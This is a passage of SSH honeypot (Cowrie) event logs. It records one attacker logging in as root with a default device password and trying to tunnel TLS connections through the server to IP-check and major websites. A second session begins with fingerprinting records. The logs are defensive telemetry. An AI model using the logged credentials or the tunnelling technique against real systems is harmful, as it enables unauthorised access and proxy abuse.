390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:36.746479Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:37.118297Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.170.77.26","dst_port":443,"src_ip":"185.156.73.233","src_port":54046,"message":"direct-tcp connection request to 54.170.77.26:443 from 127.0.0.1:54046","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:39.361762Z","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.170.77.26","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.170.77.26:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:40.728846Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.170.77.26","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8d\\xf7%hX\\x97\\xf0\\x8a'tZ\\x87\\x08\\xca\\x96t\\x92.0R-n\\xa4\\x0b~d'\\xaba\\xdc\\x1b\\xad \\xe2\\xf8\\xdat#KhF\\x8a\\xb6\\x95$\\xef\\x1d\\xde\\x9dbl@\\x81<\\xf5\\xedG\\x10\\x0bVL\\xf3\\x9a\\x06:\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 d\\xb9$?\\x0ch\\xf7\\x1a\\x941\\xbcWU\\xba\\xe3\\xcb\\x17s\\x80lQ+\\x9fQ\\x980\\x11\\xe1\\x18\\xda\\x8c\\n\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.170.77.26:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8d\\xf7%hX\\x97\\xf0\\x8a'tZ\\x87\\x08\\xca\\x96t\\x92.0R-n\\xa4\\x0b~d'\\xaba\\xdc\\x1b\\xad \\xe2\\xf8\\xdat#KhF\\x8a\\xb6\\x95$\\xef\\x1d\\xde\\x9dbl@\\x81<\\xf5\\xedG\\x10\\x0bVL\\xf3\\x9a\\x06:\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 d\\xb9$?\\x0ch\\xf7\\x1a\\x941\\xbcWU\\xba\\xe3\\xcb\\x17s\\x80lQ+\\x9fQ\\x980\\x11\\xe1\\x18\\xda\\x8c\\n\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:40.731652Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":55130,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:55130","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:42.669441Z","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:44.831159Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xafcK\\xba\\t\\x88\\x0e\\x17\\xc4\\xc7\\x9eTA\\x0e\\xbc\\xefP\\x1e\\xc6\\xa4\\xa0'\\x9c\\xf7\\x8f\\xdc\\xd1\\x9c\\x0e\\\\F\\xd8 b#\\x81v\\xc1h\\xa6\\xd4\\xa0\\xeeK\\xe7\\x84\\xef\\x9f\\xfa\\xe5|\\x95\\x1f\\xef\\x8f\\x13\\x1eE\\x1c\\xa4\\x13\\x08\\x19\\xd8\\x9f\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdc\\xa0iG3\\xa0\\xe0\\xda\\xae\\xa5\\xf0\\x92/\\xb2\\\\\\xdb\\xfb9bcD\\x13P\\x0cy\\x9adr\\x97.N\\x1c\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xafcK\\xba\\t\\x88\\x0e\\x17\\xc4\\xc7\\x9eTA\\x0e\\xbc\\xefP\\x1e\\xc6\\xa4\\xa0'\\x9c\\xf7\\x8f\\xdc\\xd1\\x9c\\x0e\\\\F\\xd8 b#\\x81v\\xc1h\\xa6\\xd4\\xa0\\xeeK\\xe7\\x84\\xef\\x9f\\xfa\\xe5|\\x95\\x1f\\xef\\x8f\\x13\\x1eE\\x1c\\xa4\\x13\\x08\\x19\\xd8\\x9f\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdc\\xa0iG3\\xa0\\xe0\\xda\\xae\\xa5\\xf0\\x92/\\xb2\\\\\\xdb\\xfb9bcD\\x13P\\x0cy\\x9adr\\x97.N\\x1c\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:44.834494Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.157.119","dst_port":443,"src_ip":"185.156.73.233","src_port":56336,"message":"direct-tcp connection request to 142.251.157.119:443 from 127.0.0.1:56336","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:46.580209Z","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.157.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.157.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:47.797101Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.157.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\x14e\\xce\\xcd~\\xb3F\\xf3\\xa6q\\xc3\\xe7YU)X<(\\x15\\x02\\x92\\x1c\\xa32}\\x8cY\\xfe\\x85\\xe3\\xca \\ts\\xeb\\xda\\xd8\\x1b\\x8f G,Xj\\xf2\\x93\\xb9\\x8c`\\xe0\\x89\\x0eP}*\\xf4\\xff\\x93\\x89\\xca\\xbc+0\\xd3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xc9\\xed%H-ni\\x96\\xa4\\x93\\xf4]\\x87\\x8bs\\xb0\\x95\\xa3\\xb2\\xe8\\xb6\\xd4\\x93\\x02\\xc9\\xb0\\x03`R\\n\\x1fi\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.157.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\x14e\\xce\\xcd~\\xb3F\\xf3\\xa6q\\xc3\\xe7YU)X<(\\x15\\x02\\x92\\x1c\\xa32}\\x8cY\\xfe\\x85\\xe3\\xca \\ts\\xeb\\xda\\xd8\\x1b\\x8f G,Xj\\xf2\\x93\\xb9\\x8c`\\xe0\\x89\\x0eP}*\\xf4\\xff\\x93\\x89\\xca\\xbc+0\\xd3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xc9\\xed%H-ni\\x96\\xa4\\x93\\xf4]\\x87\\x8bs\\xb0\\x95\\xa3\\xb2\\xe8\\xb6\\xd4\\x93\\x02\\xc9\\xb0\\x03`R\\n\\x1fi\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:47.801049Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:19:49.633207Z","src_ip":"185.156.73.233","session":"71bb13c190ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.76.120.30","src_port":51118,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ad4d573414","protocol":"ssh","message":"New connection: 103.76.120.30:51118 (159.203.135.109:22) [session: 05ad4d573414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:02.267583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:02.276972Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:20:02.528774Z","src_ip":"103.76.120.30","session":"05ad4d573414","protocol":"ssh"}
